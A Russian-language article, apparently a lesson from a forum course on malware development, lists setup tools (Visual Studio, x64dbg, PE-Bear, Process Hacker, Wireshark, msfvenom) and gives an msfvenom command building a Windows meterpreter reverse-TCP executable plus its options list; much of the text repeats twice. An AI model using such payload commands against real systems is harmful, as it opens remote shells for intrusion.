Инструменты
В предыдущей части мы затронули, зачем вообще разрабатывать вредоносное ПО, рассмотрели жизненный цикл такого ПО и немного затронули выбор языка разработки.
Предыдущая часть тут: https://bitsec42.org/ams/zachem-izuchat-razrabotku-vredonosnykh-programm.6/
Перед началом путешествия по разработке вредоносного программного обеспечения необходимо подготовить рабочее пространство, установив инструменты для разработки вредоносных программ, а также их отладки.
Эти инструменты будут полезны в процессе разработки и анализа вредоносного программного обеспечения.
Отмечу что пока мы будем рассматривать ОС Windows, т.к. большинство малвари пишут именно под эту ОС, но также в будущем хочу затронуть Линукс и может-быть несколько статей будут затрагивать обсуждение малвари для мобильных устройств.)
Инструменты разработки/отладки и исследования программ
Установите следующие инструменты:
Visual Studio - это среда разработки, в которой будет происходить процесс написания и компиляции кода. Установите C/C++ Runtime.
x64dbg - x64dbg - это отладчик, который будет использоваться во всех следующих статьях для получения внутреннего понимания разработанной вредоносной программы.
PE-Bear - PE-bear - это многофункциональный инструмент обратной разработки для файлов РЕ. Он также будет использоваться для оценки разработанной вредоносной программы и поиска подозрительных признаков.
Process Hacker 2 - Process Hacker - это мощный универсальный инструмент, который помогает отслеживать ресурсы системы, отлаживать программное обеспечение и обнаруживать вредоносные программы.
Wireshark – это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.
Msfvenom - это инструмент интерфейса командной строки, который используется для создания пэйлоадов для разных платформ.
Рассмотрим эти инструменты более подробно:
Visual Studio - это интегрированная среда разработки (IDE), разработанная Microsoft. Она используется для разработки широкого спектра программного обеспечения, такого как веб-приложения, веб-сервисы и компьютерные программы.
Он также поставляется с инструментами разработки и отладки для создания и тестирования приложений.
Visual Studio будет основной средой разработки, используемой в этом курсе.
x64dbg - это отладочная утилита с открытым исходным кодом для x64 и x86 бинарных файлов Windows.
Она используется для анализа и отладки приложений в пользовательском режиме и драйверов в режиме ядра.
Она предоставляет графический интерфейс пользователя, который позволяет пользователям проверять и анализировать состояние своих программ, просматривать содержимое памяти, инструкции ассемблера и значения регистров.
С помощью x64dbg пользователи могут устанавливать точки останова, просматривать данные стека и кучи, выполнять пошаговое выполнение кода, читать и записывать значения памяти.
PE-Bear - это бесплатный инструмент с открытым исходным кодом, разработанный для помощи аналитикам вредоносного программного обеспечения и обратной разработки в быстром и простом анализе исполняемых файлов Windows Portable Executable (PE).
Он помогает анализировать и визуализировать структуру файла PE, просматривать импорты и экспорты каждого модуля и выполнять статический анализ для обнаружения аномалий и возможного вредоносного кода. PE-bear также включает функции проверки заголовка PE и секций, а также шестнадцатеричного редактора.
Process Hacker - это инструмент с открытым исходным кодом для просмотра и управления процессами и службами в операционной системе Windows.
Он похож на диспетчер задач, но предоставляет больше информации и расширенные функции.
С его помощью можно завершать процессы и службы, просматривать подробную информацию и статистику о процессах, устанавливать приоритеты процессов и многое другое.
Process Hacker будет полезен при анализе работающих процессов для просмотра таких элементов, как загруженные DLL-библиотеки и области памяти.
Wireshark – это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.
Wireshark работает практически со всеми протоколами модели OSI, обладает понятным для обычного пользователя интерфейсом и удобной системой фильтрации данных. Помимо всего этого, программа является кроссплатформенной и поддерживает следующие операционные системы: Windows, Linux, Mac OS X, Solaris, FreeBSD, NetBSD, OpenBSD.
Msfvenom - это генератор независимых нагрузок (payload) фреймворка Metasploit, который позволяет пользователям создавать различные типы нагрузок.
Эти нагрузки будут использоваться в создаваемом вредоносном программном обеспечении в рамках данного курса.
Также является заменой для инструментов msfpayload и msfencode.
Использование: /usr/bin/msfvenom [опции] <var=val>
Пример: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Опции:
Пожалуйста изучите эти инструменты более подробно самостоятельно, к сожалению описывать их более детально нет возможности, в сети статей очень много, далее в следующих статьях будет затронут немного язык Си, а потом немного архитектура ОС.
Вообще описывать всё подробно очень затратно, поэтому цель этих статей дать направление, если-же вы действительно хотите что-то изучать, то это в основном самостоятельная практика и изучение.
Но надеюсь эти статьи могут дать какое-то направление…)
Предыдущая часть тут: https://bitsec42.org/ams/zachem-izuchat-razrabotku-vredonosnykh-programm.6/
Перед началом путешествия по разработке вредоносного программного обеспечения необходимо подготовить рабочее пространство, установив инструменты для разработки вредоносных программ, а также их отладки.
Эти инструменты будут полезны в процессе разработки и анализа вредоносного программного обеспечения.
Отмечу что пока мы будем рассматривать ОС Windows, т.к. большинство малвари пишут именно под эту ОС, но также в будущем хочу затронуть Линукс и может-быть несколько статей будут затрагивать обсуждение малвари для мобильных устройств.)
Инструменты разработки/отладки и исследования программ
Установите следующие инструменты:
Visual Studio - это среда разработки, в которой будет происходить процесс написания и компиляции кода. Установите C/C++ Runtime.
x64dbg - x64dbg - это отладчик, который будет использоваться во всех следующих статьях для получения внутреннего понимания разработанной вредоносной программы.
PE-Bear - PE-bear - это многофункциональный инструмент обратной разработки для файлов РЕ. Он также будет использоваться для оценки разработанной вредоносной программы и поиска подозрительных признаков.
Process Hacker 2 - Process Hacker - это мощный универсальный инструмент, который помогает отслеживать ресурсы системы, отлаживать программное обеспечение и обнаруживать вредоносные программы.
Wireshark – это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.
Msfvenom - это инструмент интерфейса командной строки, который используется для создания пэйлоадов для разных платформ.
Рассмотрим эти инструменты более подробно:
Visual Studio - это интегрированная среда разработки (IDE), разработанная Microsoft. Она используется для разработки широкого спектра программного обеспечения, такого как веб-приложения, веб-сервисы и компьютерные программы.
Он также поставляется с инструментами разработки и отладки для создания и тестирования приложений.
Visual Studio будет основной средой разработки, используемой в этом курсе.
x64dbg - это отладочная утилита с открытым исходным кодом для x64 и x86 бинарных файлов Windows.
Она используется для анализа и отладки приложений в пользовательском режиме и драйверов в режиме ядра.
Она предоставляет графический интерфейс пользователя, который позволяет пользователям проверять и анализировать состояние своих программ, просматривать содержимое памяти, инструкции ассемблера и значения регистров.
С помощью x64dbg пользователи могут устанавливать точки останова, просматривать данные стека и кучи, выполнять пошаговое выполнение кода, читать и записывать значения памяти.
PE-Bear - это бесплатный инструмент с открытым исходным кодом, разработанный для помощи аналитикам вредоносного программного обеспечения и обратной разработки в быстром и простом анализе исполняемых файлов Windows Portable Executable (PE).
Он помогает анализировать и визуализировать структуру файла PE, просматривать импорты и экспорты каждого модуля и выполнять статический анализ для обнаружения аномалий и возможного вредоносного кода. PE-bear также включает функции проверки заголовка PE и секций, а также шестнадцатеричного редактора.
Process Hacker - это инструмент с открытым исходным кодом для просмотра и управления процессами и службами в операционной системе Windows.
Он похож на диспетчер задач, но предоставляет больше информации и расширенные функции.
С его помощью можно завершать процессы и службы, просматривать подробную информацию и статистику о процессах, устанавливать приоритеты процессов и многое другое.
Process Hacker будет полезен при анализе работающих процессов для просмотра таких элементов, как загруженные DLL-библиотеки и области памяти.
Wireshark – это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.
Wireshark работает практически со всеми протоколами модели OSI, обладает понятным для обычного пользователя интерфейсом и удобной системой фильтрации данных. Помимо всего этого, программа является кроссплатформенной и поддерживает следующие операционные системы: Windows, Linux, Mac OS X, Solaris, FreeBSD, NetBSD, OpenBSD.
Msfvenom - это генератор независимых нагрузок (payload) фреймворка Metasploit, который позволяет пользователям создавать различные типы нагрузок.
Эти нагрузки будут использоваться в создаваемом вредоносном программном обеспечении в рамках данного курса.
Также является заменой для инструментов msfpayload и msfencode.
Использование: /usr/bin/msfvenom [опции] <var=val>
Пример: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Опции:
-1, --list <type> Список всех модулей.
Типы: payloads, encoders, nops, platforms, archs, encrypt, formats, all.
-p, --payload <payload> Используемая нагрузка (используйте --list payloads для просмотра списка, --list-options для аргументов).
--list-options Список стандартных, расширенных опций для --payload <value>.
-f, --format <format> Формат вывода (используйте --list formats для списка форматов).
-e, --encoder <encoder> Используемый энкодер (используйте --list encoders для просмотра списка).
--service-name <value> Имя службы при создании исполняемого файла службы.
--sec-name <value> Новое имя раздела при создании крупных исполняемых файлов для Windows. По умолчанию: случайная строка из 4 символов.
--smallest Генерация наименьшей возможной нагрузки, используя все доступные энкодеры.
--encrypt <value> Тип шифрования или кодирования для применения к коду оболочки (используйте --list encrypt для списка).
--encrypt-key <value> Ключ для --encrypt.
--encrypt-iv <value> Вектор инициализации для --encrypt.
-a, --arch <arch> Архитектура для --payload и --encoders (используйте --list archs для списка).
--platform <platform> Платформа для --payload (используйте --list platforms для списка).
-o, --out <path> Сохранить нагрузку в файл.
-b, --bad-chars <list> Список символов, которых нужно избегать. Пример: '\х@@\х Р'.
-n, --nopsled <length> Добавить пустой блок заданной длины перед нагрузкой.
--pad-nops Использовать длину блока, заданную опцией -n <length>, как общий размер нагрузки, автоматически добавляя пустой блок до нужного количества (длина блока минус длина нагрузки).
-s, --space <length> Максимальный размер результирующей нагрузки.
--encoder-space <length> Максимальный размер закодированной нагрузки (по умолчанию равен значению опции -s).
-i, --iterations <count> Количество итераций кодирования нагрузки.
-c, --add-code <path> Указать дополнительный файл с shell-кодом для включения.
-x, --template <path> Указать пользовательский исполняемый файл в качестве шаблона.
Типы: payloads, encoders, nops, platforms, archs, encrypt, formats, all.
-p, --payload <payload> Используемая нагрузка (используйте --list payloads для просмотра списка, --list-options для аргументов).
--list-options Список стандартных, расширенных опций для --payload <value>.
-f, --format <format> Формат вывода (используйте --list formats для списка форматов).
-e, --encoder <encoder> Используемый энкодер (используйте --list encoders для просмотра списка).
--service-name <value> Имя службы при создании исполняемого файла службы.
--sec-name <value> Новое имя раздела при создании крупных исполняемых файлов для Windows. По умолчанию: случайная строка из 4 символов.
--smallest Генерация наименьшей возможной нагрузки, используя все доступные энкодеры.
--encrypt <value> Тип шифрования или кодирования для применения к коду оболочки (используйте --list encrypt для списка).
--encrypt-key <value> Ключ для --encrypt.
--encrypt-iv <value> Вектор инициализации для --encrypt.
-a, --arch <arch> Архитектура для --payload и --encoders (используйте --list archs для списка).
--platform <platform> Платформа для --payload (используйте --list platforms для списка).
-o, --out <path> Сохранить нагрузку в файл.
-b, --bad-chars <list> Список символов, которых нужно избегать. Пример: '\х@@\х Р'.
-n, --nopsled <length> Добавить пустой блок заданной длины перед нагрузкой.
--pad-nops Использовать длину блока, заданную опцией -n <length>, как общий размер нагрузки, автоматически добавляя пустой блок до нужного количества (длина блока минус длина нагрузки).
-s, --space <length> Максимальный размер результирующей нагрузки.
--encoder-space <length> Максимальный размер закодированной нагрузки (по умолчанию равен значению опции -s).
-i, --iterations <count> Количество итераций кодирования нагрузки.
-c, --add-code <path> Указать дополнительный файл с shell-кодом для включения.
-x, --template <path> Указать пользовательский исполняемый файл в качестве шаблона.
Пожалуйста изучите эти инструменты более подробно самостоятельно, к сожалению описывать их более детально нет возможности, в сети статей очень много, далее в следующих статьях будет затронут немного язык Си, а потом немного архитектура ОС.
Вообще описывать всё подробно очень затратно, поэтому цель этих статей дать направление, если-же вы действительно хотите что-то изучать, то это в основном самостоятельная практика и изучение.
Но надеюсь эти статьи могут дать какое-то направление…)